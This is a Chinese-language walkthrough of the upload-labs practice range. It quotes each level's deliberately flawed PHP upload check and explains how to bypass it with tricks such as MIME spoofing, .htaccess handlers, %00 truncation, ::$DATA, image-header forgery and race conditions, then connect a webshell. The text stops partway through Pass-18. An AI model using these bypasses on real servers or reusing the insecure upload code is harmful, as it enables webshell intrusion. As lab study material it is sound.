upload-labs
是一个使用php
语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
Pass-01 客户端-JS检查绕过 方法1:改后缀burpsuite抓包 先随便提交一个一句话木马
弹窗提示只允许提交jpg,png和gif 所以我们先把yijuhua.php的后缀改成jpg,用burpsuite抓包 在bp里面把后缀名改回php forward放包,我们回到题目,发现此时题目下面已经出现了一个图片(但是加载不出来)
我们右键图片复制图像地址,http://127.0.0.1/bachang/upload-labs-master/upload/yijuhua.php
去蚁剑连接,密码为a,即可连接成功
方法2:修改代码法 f12查看源代码,发现上传区有这么一行代码
1 2 3 4 5 <form enctype ="multipart/form-data" method ="post" onsubmit ="return checkFile()" > <p > 请选择要上传的图片:</p > <p > <input class ="input_file" type ="file" name ="upload_file" > <input class ="button" type ="submit" name ="submit" value ="上传" > </p > </form >
发现提交之后把文件提交到过滤条件中,进行条件过滤,我们把过滤条件onsubmit=“return checkFile()”删除
即可直接上传我们的yijuhua.php了!
Pass-02 MIME类型绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
题目在上传非法文件时网页会稍微加载一下,所以判断可能为服务端检查
这里尝试一下MIME类型检测绕过,上传yijuhua.php,bp抓包,把Content-Type改成image/jpeg即可成功上传
然后复制图像地址,蚁剑连接即可
Pass-03 黑名单绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
上传一句话木马时页面有加载,而且下面出现文字提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
猜测是后端验证的黑名单绕过
上传php木马后用bp抓包,改为php5后缀后再放包,复制图片地址在蚁剑即可以完成连接
Pass-04 .htaccess绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
上传一句话木马的时候弹窗显示提示
本pass禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
好狠,一下子禁止上传了好多文件格式,包括我们之前能用的.php5等也被禁用了,但是看了一下没有禁用.htaccess文件,也就是我们可以达到.htaccess绕过
首先我们要上传一个.htaccess
的文件
1 SetHandler application/x-httpd-php
这样所有文件都会被当成php解析,然后上传任意格式的一句话即可,比如我们上传图片马
蚁剑链接即可
Pass-05 构造后缀绕过 上传一句话木马的时候只提示不允许上传该文件类型了,而且.htaccess也不允许上传
所以这里我们需要对后缀名进行处理
网上有个把php后缀改成Php达成大小写绕过的方法,但是似乎因为靶场的版本不一样,我们这边的源码是对大小写进行统一了的
我们观察源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
可以看到过滤的黑名单属实还是很多,而且我们上传的后缀名,会先删除最后面的空格,再删除后缀末尾的点,再删除后缀末尾的空格
所以我们可以构造后缀为php. .(两个点中间有一个空格)
这样在过滤规则下,我们的后缀会变成php.,又由于windows的特性,我们的php.会被识别成php文件,从而完成绕过
Pass-06 大小写绕过 原来之前说的网上的Pass-06的解决方法在这里用上了,这里源码没对大小写进行统一,所以把php改成Php就可以形成绕过了。
顺带一提,第五题的绕过方法在这边照样能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 代码 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
Pass-07 空格绕过 直接看源代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这里和前面比,没对文件末尾对去空处理,所以直接空格绕过,把之前的.php改为.php (末尾多个空格)就能完成绕过了
Pass-08 构造后缀绕过 点提示后显示本pass禁止上传所有可以解析的后缀!
那就只能构造后缀绕过了呗,看看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这里没删文件后缀名的点号,只做了去空格处理,所以构造后缀名.php为.php.
然后蚁剑连接即可
Pass-09 ::$DATA绕过 cancanneed源代码,听话,让我看看!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
和前面相比,这边源码中未过滤::$DATA,可以利用::$DATA来绕过过滤。这其实是利用了windows的特性,在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名 。
所以构造后缀名为php::$DATA,即可完成绕过 顺带一提,之前的方法构造php. .会使得后缀名直接没了,而这里的绕过方法可以保持住后缀名为php
然后蚁剑即可,注意这里复制图像地址后,得删去后面的::$DATA
Pass-10 构造后缀绕过 和第五关一样,构造.php. .即可完成绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
Pass-11 双写绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这里的str_ireplace()会把我们后缀里的php等给替换为空,那我们很自然的就会想到双写绕过。在删除字符后,剩余的又重新拼接为后缀,达到绕过的目的
所以我们后缀为.pphphp,即可完成绕过
Pass-12 %00截断绕过get型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
显然,这里不再是之前的黑名单过滤,而是白名单过滤了。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
这里我们发现上传路径是可以控制的,所以可以利用%00截断,来达到上传木马的目的
也就是在get传入save_path参数的同时上传木马。这里要注意一下,%00截断想要利用成功,php版本小于5.3.4(高版本php官方修复了这个漏洞),php的magic_quotes_gpc为OFF状态 。
我们这里可以把php一句话木马临时改成jpg后缀,然后上传文件,bp抓包的时候,在get传参数的时候,把save_path=../upload/改成save_path=../upload/1.php,蚁剑连接即可,注意复制图像地址的时候要删去1.php后面的内容
Pass-13 %00截断绕过post型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
和pass12有点像,唯一不同的是在这一关,我们要控制上传路径得用post传参了
但是不只是直接把post的参数改了这么简单。两个截断有点区别,通过get方式是在url的参数中添加%00。这是因为%00通过get方式传递到服务器会被自动解码,所以就变成了ascii码中数值0对应的那个字符(null),这才能达到截断的目的。
但是如果是通过post的话,加入%00不会别服务器解码,只会原样被参数变量接收。
所以可以把post路径改为../upload/1.php%00
然后p的十六进制是70,所以在burpsuite的proxy模块下的hex里,由于两个p都是70,所以很好定位,把第二个70后面的十六进制数值改为00即可。
然后蚁剑连接
Pass-14 GIF89a图片头文件欺骗 到这一关开始有任务了
任务
上传图片马
到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话
或webshell
代码。
2.使用文件包含漏洞 能运行图片马中的恶意代码。
3.图片马要.jpg
,.png
,.gif
三种后缀都上传成功才算过关!
试了一下,直接上传cmd制作的图片马然后用文件包含来连接不行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
分析代码可以知道它只读2字节,只需要将木马后缀改为图片格式,内容加个图片头部,然后在返回包中找到路径,然后写在file参数后,因为file参数include的原因都会直接执行。直接上传图片马,可能是因为图片马前面的东西太多干扰了,不是很清楚。 所以只要把php后缀改成jpg,上传的时候在post进去的一句话木马前加一行GIF89a即可成功上传
然后连接的时候不能直接连接,而得用文件包含的形式,因为upload-labs路径里面有个include.php,内容大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){ include $file ; }else { show_source (__file__); } ?>
所以连接的时候得连接http://127.0.0.1/bachang/upload-labs-master/include.php?file=upload/6020220913150715.gif
这样才能连接成功
下面了解一下GIF89a头文件欺骗:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形,在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
用记事本编写一下内容,然后修改后缀变成图片
1 2 3 4 GIF89a <head> <meta http-equiv = "refresh" content = "1; url=http://www.***.com/" /> </head>
当单独查看此文件时,会出现GIF89a,然后跳转到指定的网页
Pass-15 getimagesize()验证绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
getimagesize(),这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。是可以被绕过的,因为图片头可以被伪造。(刚学的GIF89a图片头文件欺骗这不就用上了)
把php后缀改成gif,然后上传抓包,在php代码前加一个GIF89a即可,连接的时候得注意是文件包含!
http://127.0.0.1/bachang/upload-labs-master/include.php?file=upload/8820220913235102.gif
Pass-16 exif_imagetype()检查绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
这一关需要开启php_exif,在php.ini中,把extension=php_exif.dll前面的分号删去,然后重启phpstudy。
exif_imagetype(),它是读取一个图像的第一个字节并检查其签名。所以也是可以通过伪造图片头来进行绕过的。这里同样伪造gif的图片头,来进行上传
和pass-15即可
Pass-17 图片二次渲染绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
可以看到,这一关先判断了后缀名是否为白名单内类型,再利用imagecreatefromgif判断是否为gif图片,最后进行了一次二次渲染
先上传一个图片马,传上去之后再下载之后,发现我们的php木马已经被清除了。我们用010editor分别打开下载回的图片和原图,可以看到,经过渲染后的图片和我们的源图片中的一些内容是没有改变的。
当然这个得花一点找的时间,推荐图片马应该小一点,比如自己在画图里画一个然后另存为gif,这样找的时候也方便
所以,我们要想绕过该过滤方式,可以将一句话木马插入到不会改变内容的地方,这样我们就可以使得一句话木马在经过渲染后仍然可以存在图片中,这样就可以达到上传恶意代码的目的了。把不会改变内容的地方覆盖性粘贴成我们的php一句话木马,重新上传,就会发现我们的图片仍然上传成功,而且我们用文件包含的方式可以用蚁剑连接。
Pass-18 条件竞争 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
和之前代码不一样的是,这边是先用了move_uploaded_file函数再判断是否在白名单内。即我们上传一个文件后,文件会先上传到服务器,然后再判断该文件类型是否含在白名单中(jpg、png、gif),如果是,则会将该文件重命名后放在服务器中,如果不是,则会将该文件删除掉。
